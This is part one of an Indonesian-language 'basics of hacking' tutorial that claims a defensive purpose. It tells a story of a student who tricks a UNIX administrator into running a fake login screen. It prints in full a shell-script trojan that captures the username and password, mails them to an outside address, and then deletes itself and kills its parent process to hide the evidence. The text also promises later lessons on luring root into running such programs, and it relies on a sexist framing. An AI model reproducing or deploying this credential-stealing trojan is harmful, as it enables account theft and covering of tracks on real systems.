DASAR-DASAR HACKER (BAG. 1)

www.kursusgratis.bizland.com
yerianto@yahoo.com

Pendahuluan

Alasan utama yang mendorong penulis untuk menulis modul ini adalah melihat banyaknya pembobolan homepage-homepage di Internet yang disebabkan bukan oleh kecanggihan para hacker, melainkan karena ketidaktahuan para pengelola sistem komputer yang terhubung ke dalam jaringan Internet, dalam menerapkan sistem keamanan yang baik dan benar.

Beberapa pengelola sistem komputer berasumsi bahwa dengan membeli sistem komputer bermerek terkenal dan berteknologi canggih sudah menjadi jaminan kehandalan dan keamanan sistem, padahal belum tentu benar. Hal tersebut sangat tergantung sekali dengan bagaimana cara pengelola sistem komputer melakukan setup keamanannya. Memang betul sistem operasi UNIX dan Windows NT memiliki berbagai fasilitas keamanan yang baik. Namun demikian hal itu tidak ada artinya sama sekali jika tidak dipasang dengan baik dan benar.

Dokumen ini akan mengajarkan bagaimana menjadi hacker. Tentu saja bukan maksud kami mengajarkan Anda untuk membobol server orang lain, namun justru sebaliknya, kami mengajarkan Anda untuk mewaspadai cara-cara sederhana yang membuat server anda "bobol". Dan kami menghimbau dengan sangat, agar segala tulisan di dalam buku ini tidak dilakukan menggunakan server orang lain, melainkan server Anda sendiri. Jika hal tersebut Anda lakukan maka kami Anda akan menanggung resikonya sendiri !

Sebelum terlalu jauh membahas, perlu kami jelaskan mengenai peristilahan hacker dan cracker. Banyak orang yang komplain mengenai istilah hacker dan cracker. Sebagian menyatakan istilah cracker adalah sesunggunya hacker hitam dan istilah hacker adalah hacker putih. Terlepas dari mana yang Anda pahami, kami menggunakan istilah bagi keduanya sebagai hacker dalam penulisan ini.

Pahami cara hacker bekerja

Banyak sekali orang mengaku sebagai hacker, padahal mereka cuma "mencontek" tulisan di internet dan kemudian mengacak-acak server orang lain. Hacker seperti itu sering disebut sebagai script kiddies dan yang seperti inilah yang banyak menimpa pada beberapa homepage di Indonesia belakangn ini. Sebagai proses belajar, menjadi script kiddies merupakan langkah yang sah-sah saja dan cukup efektif. Tentu saja asal dipahami secara betul termasuk segala resiko yang bakal ditimbulkan.

Secara umum hacker memiliki tahapan kerja sebagai berikut:

- Tahap mencari sistem komputer yang akan dimasuki
- Tahap penyusupan
- Tahap penjelajalah
- Tahap keluar dengan menghilangkan jejak.

Di dalam artikel ini akan dibahas tahapan-tahapan di atas disertai contoh-contohnya. Para pengelola sistem komputer akan segera memahami, menjadi hacker bukanlah pekerjaan sulit. Untuk itu waspadalah dan teruslah belajar.

Sebagai langkah pemanasan, kami contohkan betapa menjadi hacker ternyata tidak sulit. Dan bagi pengelola sistem komputer segera menyadari bahwa sistem komputernya setiap saat memiliki kemungkinan di-hack bukan saja oleh orang lain di luar kantor Anda melainkan juga oleh rekan Anda sendiri di kantor !!!

Dan pengelola sistem komputer pun terkecoh

Hacker adalah hobby, karenanya segala daya upaya dicurahkan untuk kegiatan tersebut. Yang dimaksud upaya tidaklah selalu berhubungan dengan uang dan waktu yang banyak, tetapi termasuk pula keluguan, ketidak tahuan bahkan kegenitan dan kecantikan. Lho kok bisa ? simak skenario kasus di bawah ini.

Seorang gadis cantik dan genit peserta kuliah UNIX di sebuah perguruan tinggi memiliki potensi memancing pengelola sistem komputer (administrator pemegang account root . . . hmmm) yang lengah. Ia melaporkan bahwa komputer tempat ia melakukan tugas-tugas UNIX yang diberikan tidak dapat dipergunakan. Sang pengelola sistem komputer tentu saja dengan gagah perkasa ingin menunjukkan kekuasaan sebagai administrator UNIX.

"Well, ini soal kecil. Mungkin password kamu ke blokir, biar saya perbaiki dari tempat kamu", ujar administrator UNIX sombong sambil duduk disebelah gadis cantik dan genit peserta kuliah tersebut.

Keesokan harinya, terjadilah kekacauan di sistem UNIX karena diduga terjadi penyusupan oleh hacker termasuk juga hompepage perguruan tinggi tersebut di-obok-obok, maklum pengelolanya masih sama. Selanjutnya pihak perguruan tinggi mengeluarkan press release bahwa homepage mereka dijebol oleh hacker dari Luar Negeri . . . . hihiii

Nah sebenarnya apa sih yang terjadi ?

Sederhana, gadis cantik dan genit peserta kuliah UNIX tersebut menggunakan program kecil my_login dalam bentuk shell script yang menyerupai layar login dan password sistem UNIX sebagai berikut:

```
#!/bin/sh
###################################
# Nama program : my_login
# Deskripsi :Program kuda trojan sederhana
# versi 1.0 Nopember 1999
###################################
COUNTER=0
Cat /etc/issue
While [ "$COUNTER" -ne 2 ]
do
let COUNTER=$COIUNTER+1
echo "login: \c"
read LOGIN
stty echo
echo "password: \c"
read PASSWORD
echo "User $LOGIN : $PASSWORD" | mail gadis@company.com
stty echo
echo
echo "Login Incorrect"
done
rm $0
kill -9 $PPID
```

Apabila program ini dijalankan maka akan ditampilkan layar login seperti layaknya awal penggunaan komputer pdaa sistem UNIX:

```
Login:
Password:
```

Lihatlah, Administrator UNIX yang gaah poerkasa tadi yang tidak melihat gadis tersebut menjalankan program ini tentunya tidak sadar bahwa ini merupakan layar tipuan. Layar login ini tidak terlihat beda dibanding layar login sesungguhnya.

Seperti pada program login sesungguhnya, sistem komputer akan meminta pemakai untuk login ke dalam sistem. Setelah diisi password dan di enter,maka segera timbul pesan

```
Login:root
Password: ********
Login Incorrect
```

Tentu saja Administrator UNIX akan kaget bahwa passwordnya ternyata (seolah-olah) salah. Untuk itu ia segera mengulangi login dan password. Setelah dua kali ia mencoba login dan tidak berhasil, maka loginnya dibatalkan dan kembali keluar UNIX.

Perhatikan program di atas baik-baik, sekali pemakai tersebut mencoba login dan mengisi password pada layar di atas, setelah itu maka otomatis data login dan password tersebut akan di email ke gadis@company.com Sampai disini maka si gadis lugu dan genit telah mendapatkan login dan password . . . ia ternyata seorang hacker !!

Walaupun sederhana, jika kita perhatikan lebih jauh lagi, maka program ini juga memiliki beberapa trik hacker lainnya, yaitu proses penghilangan jejak (masih ingat tahapan hacker yang ditulis di atas ?). Proses ini dilakukan pada 2 baris terakhir dari program my_login di atas, yaitu

```
rm $0
kill -9 $PPID
```

yang artinya akan segera dilakukan proses penghapusan program my_login dan hapus pula ID dari proses. Dengan demikian hilanglah program tersebut yang tentunya juga menhilangkan barang bukti. Ditambah lagi penghapusan terhadap jejak proses di dalam sistem UNIX. Zap . . . hilang sudah tanda-tanda bahwa hacker nya ternyata seorang gadis peserta kuliahnya.

Sukses dari program ini sebenarnya sangat tergantung dari bagaimana agar aplikasi ini dapat dieksekusi oleh root. Hacker yang baik memang harus berusaha memancing agar pemilik root menjalankan program ini. Nanti di bab lain dijelaskan teknik-teknik "menggoda" root tanpa harus memiliki kecantikan kok.

Bersambung ke Bagian 2